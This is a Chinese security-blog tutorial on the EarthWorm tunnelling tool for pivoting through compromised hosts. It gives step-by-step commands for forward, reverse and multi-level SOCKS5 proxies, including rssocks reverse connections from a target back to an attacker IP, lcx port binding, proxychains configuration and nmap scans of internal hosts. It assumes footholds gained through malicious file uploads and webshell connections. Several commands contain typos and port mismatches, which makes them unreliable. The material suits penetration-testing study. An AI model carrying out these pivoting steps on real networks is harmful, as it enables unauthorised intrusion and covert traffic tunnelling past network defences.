安全攻防_EarthWorm代理

EW(Earthworm)是一套便携式的网络穿透工具,具有SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。

下载地址:

官方网站:http://rootkiter.com/EarthWorm/

EW的指令信息如下所示:

-s   选择功能类型:共包含6种功能:      ssocksd:正向代理 rcsocks:反向代理1,流量转发 rssocks:反向代理2,反弹socks5 lcx_listen:反向代理1,流量转发 lcx_tran:端口转发 lcx_slave:端口绑定 -l指定要监听的本地端口-d 指定要反弹到的机器 ip -e 指定要反弹到的机器端口 -f指定要主动连接的机器 ip -g 指定要主动连接的机器端口 -t指定超时时长,默认为1000

接下来将带领大家介绍在不同网络环境下EW工具的使用方式:

案例1、正向代理功能

如图所示:

Hack  IP地址为:192.168.1.130

Host1 为双网卡:NET1 192.168.1.128、NET2 192.16.2.130

Host2 IP地址为:192.16.2.131

攻击方式:

攻击者(Hack) 首先攻击Host1服务器,并获取shell权限,然后将Host1服务器当作跳板,进而发起对Host2主机的进攻;

(1)网络文件上传,恶意文件;

(2)蚁剑远程连接,查看Host1系统为windows系统,上传ew_win32.exe可执行程序文件;

(3)在Host1主机上启动socks5服务并监听1080端口;

./ew -s ssocksd -l 9999//在9999端口上开启socks代理,ssocksd提供正向代理功能

(4) 修改proxychains配置文件,kali系统默认文件路径为 /etc/proxychains.conf

[ProxyList] # add proxy here ... socks5192.168.1.128 9999

(5) 通过代理,利用nmap扫描工具对Host2主机进行端口扫描;

案例2、反向代理功能

如图所示:

Hack  IP地址为:192.168.1.130

Host1 为双网卡:NET1 192.168.1.128、NET2 192.16.2.130

Host2 IP地址为:192.16.2.131

攻击方式:

(1) 由于场景中目标机Host1没有公网IP,但是能访问公网。因为V1没有具体地址,无法使用正向连接,可使用反弹连接的方式代理流量。  在攻击机Hack本地启动流量转发,将来自外部1080端口的流量转发到本地8888端口,并等待目标反弹连接:

./ew -s rcsocks -l 1080 -e 9999//将1080端口收到的代理请求转发给反连9999端口的主机

(2) 在目标机Host1上启动socks5服务,并反弹到攻击机Hack的9999端口:

./ew -s rssocks -d 192.168.1.130 -e 9999//内网跳板反弹连接到攻击机的8888端口

(3)修改proxychains配置文件,kali系统默认文件路径为 /etc/proxychains.conf

[ProxyList] # add proxy here ... socks5192.168.1.130 1080

(4) 通过代理,利用nmap扫描工具对Host2主机进行端口扫描;

proxychains nmap -Pn -sT 192.16.2.131 -p80,22

案例3、二级正向代理功能

如图所示:

Hack  IP地址为:192.168.1.130

Host1 为双网卡:NET1 192.168.1.128、NET2 192.16.2.130

Host2 IP地址为:192.16.2.131、NET2 10.10.3.130

攻击方式:

(1) 在Host1主机上启动socks5服务并监听1080端口;

(2) 修改proxychains配置文件,kali系统默认文件路径为 

/etc/proxychains.conf;

./ew -s ssocksd -l 1080[ProxyList] # add proxy here ... socks5192.168.1.128 1080

(2)通过proxychains执行firefox 并访问网站,进行恶意文件上传;

(3)在蚁剑中添加代理,并进行远程连接;

(4)查看,此时获得的主机为linux系统,并在该主机(Host2)上启动socks5代理并监听9999端口:

(5) 在Host1主机上进行流量转发,Host1监听1082端口,并反向连接Host2主机,将Host1的1082端口与Host2主机的9999端口进行绑定;

(6)修改proxychains配置文件,kali系统默认文件路径为 /etc/proxychains.conf;

[ProxyList] # add proxy here ... socks5  192.168.1.128 1082

(7) 通过代理,利用nmap扫描工具对Host3主机进行端口扫描;

案例4、二级反向代理功能

如图所示:

Hack  IP地址为:192.168.1.130

Host1 为双网卡:NET1 192.168.1.128、NET2 192.16.2.130

Host2 IP地址为:192.16.2.131、NET2 10.10.3.130

(1) 在攻击机Hack本地启动流量转发,将来自外部1080端口的流量转发到本地8888端口,并等待目标反弹连接:

./ew -s lcx_listen -l 1080 -e 8888

(2) 在经过一系列操作以后,获取Host1 shell权限,在Host1主机上执行socks反弹到Hack主机的监听端口8888:

./ew -s rssocks -d 192.168.1.130 -e 8888 //内网跳板反弹连接到攻击机的8888端口

(3)修改proxychains配置文件,kali系统默认文件路径为 /etc/proxychains.conf;

[ProxyList] # add proxy here ... socks5192.168.1.130 1080

(4) 通过代理,利用nmap扫描工具对Host2主机进行端口扫描;

(5) 通过代理,访问Host2主机的web服务,并进行恶意文件上传;

(5) 蚁剑中设置代理;

(6) 在Host2主机开启socks5 服务,并监听9999端口;

./ew -s ssocksd -l 9999

(7) 在Hack主机,将来自外部1081端口的流量转发到本地7777端口,并等待目标反弹连接;

./ew -s lcx_listen -l 1081 -e 7777

(8) 在Host1主机,将Hack的7777端口与Host2的9999端口绑定,建立socks5通道;

ew.exe -s lcx_slave -d 192.168.1.130 -e 7777 -f 192.16.2.131 -g 99

(8) 修改proxychains.conf 为192.168.1.130 8081端口,通过代理,利用nmap扫描工具对Host2主机进行端口扫描;

案例5、三级正向代理功能

假设目标机Host1有公网IP(139.x.x.x),可以使用正向的方式代理流量。  在Host2上启动流量转发,将Host1的1080端口与V2的9999端口绑定,建立socks5通道:

./ew -s lcx_tran -l 1080 -f 10.10.2.111 -g 9999

在Host2上启动流量转发,将Host2的9999 端口与V3的8888端口绑定,建立socks5通道:

./ew -s lcx_tran - l 9999 -f 10.10.3.111 -g 8888

在目标机Host3上启动socks5代理并监听8888端口:

./ew -s ssocksd -l 8888

方式不止一种:通过场景二中反向代理的方式,从V1→V3架设也能实现。  接着流量代理到139.x.x.x的1080端口,就相当于把流量代理到目标机V3上了。  A1上proxychains代理配置:

[ProxyList]socks5139.x.x.x1080

案例6、 三级反向代理功能

在攻击机Hack执行,本地启动流量转发,将来自外部1080端口的流量转发到本地的8888端口,并等待目标反弹连接:

./ew -s rcsocks -l 1080 -e 8888

在Host1执行,将Hack的8888端口与V2的9999端口绑定,建立socks5通道:

./ew -s lcx_slave -d 120.x.x.x -e 8888 -f 10.10.2.111 -g 9999

在Host2执行,本地启动流量转发,将来自外部9999端口的流量转发到本地的7777端口,等待目标机Host3反弹连接:

./ew -s lcx_listen -l 9999 -e 7777

在目标机Host3执行,启动socks5服务,并反弹到Host2的7777端口:

./ew -s rssocks -d 10.10.2.111-e 7777

代理通道架设完毕,访问Hack的1080相当于访问Host3的7777端口,在攻击机Hack上使用proxychain将流量代理到本地1080端口,相当于把流量代理到目标机Host3上了,在A1上发起请求相当于在Host3上发起请求。  Hack上proxychains代理配置:

[ProxyList]socks5127.0.0.11080

最后在Host1执行,将Hack的8888端口与Host2的9999端口绑定,建立socks5通道。

- 往期推荐 -

安全攻防 | reGeorg+Proxifier代理工具安全攻防 | CobaltStrike代理工具安全攻防 | Metasploit代理工具

【推荐书籍】

广告

Python安全攻防:渗透测试实战指南

作者:吴涛 方嘉明 吴荣德 徐焱

当当  购买